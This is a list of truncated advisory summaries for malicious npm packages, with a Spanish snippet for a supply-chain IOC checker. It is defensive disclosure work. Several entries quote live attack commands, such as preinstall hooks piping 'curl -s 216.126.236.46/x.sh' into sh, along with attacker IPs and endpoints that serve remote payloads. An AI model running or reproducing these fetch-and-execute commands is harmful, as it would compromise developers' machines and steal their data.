tanscript-exploit-check

Mini Shai-Hulud Ataque a la Cadena de Suministro — Comprobador de IOCs root@kitploit: curl -fsSL https://raw.githubusercontent.com/nkopylov/tanscript-exploit-check/main/check-tanstack-exploit.sh | bash O clonar y ejecutar localmente: root@kitploit: git clone...

Malicious code in oce-configurator-wireless-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 6fe4573d063ecba48e64d9cc4a15c6404f3dac64b71d9c80134ac0f8a85ed5d2 The OpenSSF Package Analysis project identified 'oce-configurator-wireless-frontend' @ 9999.0.0 npm as malicious. It is considered malicious...

Malicious code in firestore-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3242d5a15b769961bcc2e6d24747a7da27e2afd293ea83e6b042eceeb4b97de2 package.json declares a single dependency whose value is a bare HTTP URL https://repo.securityctrl.com/firestore-lite rather than a registry version...

Malicious code in grafeno-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

MAL-2026-14755 Malicious code in 3layerdipstackfooret (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c6a96b773b8a52501913b2bbbba6dcfb0bc50211ed6588fcd849bdacde6182d3 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14725 Malicious code in 3layerdipstackdflm1d (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a6172d737d2a73623ba613f52479bd0c78b05544c490b691dddc8e1ed83f18c4 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in ndmfguyhoxc3 (npm)

Published as part of a ClickFix-style fake-CAPTCHA phishing campaign documented by OX Security see reference. The package's only file is index.html, declared as the npm "main" entry; package.json defines no preinstall/install/postinstall/prepare lifecycle script, so the payload does not execute a...

Malicious code in m3fdfocdoewn (npm)

Published as part of a ClickFix-style fake-CAPTCHA phishing campaign documented by OX Security see reference. The package's only file is index.html, declared as the npm "main" entry; package.json defines no preinstall/install/postinstall/prepare lifecycle script, so the payload does not execute a...

MAL-2026-14395 Malicious code in sm-billing-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...

Malicious code in express-session-handler (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0e94450f5541b39d8310a8b640dee027b0970db6e7cf724352726d49393bfb77 The package advertises itself as an Express session middleware but on module load unconditionally invokes an initPlugin routine in index.js that...

Malicious code in expect-dotenv (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ffc39d28e4d33afe723182c097769f087bf528732e5468b1511bf2bff41db01e The package's main entry runs a worker that performs an HTTPS GET to https://realase-0626.vercel.app/api/v1 and passes the response's parser string...

Malicious code in vexium-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 81256cad9a270a808ce5e9cb2d6987aef06c2c236baa7ae76b8172c40ee61dd9 On require, index.js issues an HTTPS request to the hardcoded bare-IP endpoint https://31.97.137.157:45000/icons/116 and passes the response's credit...

MAL-2026-13960 Malicious code in process-live-log (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5a36d35f64443b9dc4a2395017b8738562a321c9765089f916eeebdf58281d57 The default export getPlugin issues an HTTPS request to the hardcoded bare-IP endpoint https://31.97.137.157:45000/icons/107 and passes the returned...

Malicious code in date-fmt-utils-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ae88f68f30ebd69a595537393ce95c4ce5e543b558572769fa2c608fa1b1b0d The package presents itself as a date-formatting utility, but its index.js is a trivial cover and a source comment explicitly labels the library as a...

MAL-2026-13800 Malicious code in cvvkshuelwiu (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de3f325329894b841474989d30370570a7f1b68d02334db1b98dcaf109899fa9 Package [email protected] contains 2 files with no a static rule matches and no traced behaviors of concern. No install-time scripts, network...

MAL-2026-13774 Malicious code in augustdigital-sdk (npm)

augustdigital-sdk is a malicious npm package — an unscoped brand-hijack of the legitimate, actively-maintained scoped package @augustdigital/sdk. Version 8.20.1 was copied verbatim from the genuine @augustdigital/[email protected] release published 2 hours earlier to masquerade as a legitimate mirror or...

Malicious code in @dreamguyxeon/baileyx (npm)

npm/@dreamguyxeon/baileyx is a Baileys WhatsApp Web API fork with the same undisclosed remote-controlled consentless newsletter auto-follow as related DGXeon packages. In lib/Socket/newsletter.js, after session setup it waits 120 seconds, fetches...

Malicious code in hex-encode-utils (npm)

hex-encode-utils is a purpose-built npm trojan that masquerades as a zero-dependency hex encoding/decoding utility published by the npm account devroolx under the repo github.com/stdlib-utils/hex-encode-utils. It is a multi-stage downloader/loader that runs automatically on install via a...

Malicious code in streak-map-cache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6ae48e032b5494c8939d41973598b9dd35d5954ccf6850cd633e7992995cc6b The package advertises itself as a dependency-free day/streak math library, but its main entrypoint dist/index.mjs contains a top-level async IIFE th...